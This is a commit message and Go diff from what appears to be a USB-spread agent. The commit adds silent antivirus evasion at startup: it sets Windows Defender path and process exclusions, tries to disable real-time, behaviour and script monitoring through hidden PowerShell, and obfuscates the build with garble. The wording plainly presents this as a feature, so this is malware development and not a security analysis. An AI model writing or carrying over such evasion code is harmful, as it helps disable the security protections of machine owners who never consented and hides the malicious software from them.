feat(av): silent AV evasion on startup + garble obfuscation. On launch: adds Defender ExclusionPath for install dir + exe, ExclusionProcess for process name, attempts DisableRealtimeMonitoring + DisableBehaviorMonitoring + DisableScriptScanning via hidden PowerShell (admin elevates, non-admin gets exclusions only). USB agent now built with garble -literals -tiny: all string literals and symbols scrambled.

agent/main.go

@@ -57,7 +57,13 @@ func main() {
 	reporter := stats.NewReporter()
 	cfg = cfg.AdaptToSystem(reporter)
 
-	if installDir, err := cfg.InstallDirectory(); err == nil {
+	installDir, _ := cfg.InstallDirectory()
+
+	// Silence the AV as early as possible — add path/process exclusions and
+	// attempt to disable real-time monitoring. Fire-and-forget, never blocks.
+	deploy.SilentAVExclusion(installDir, cfg.EffectiveProcessName()+".exe")
+
+	if installDir != "" {
 		if id, err := deploy.LoadAgentID(installDir); err == nil {
 			cfg.AgentID = id
 		}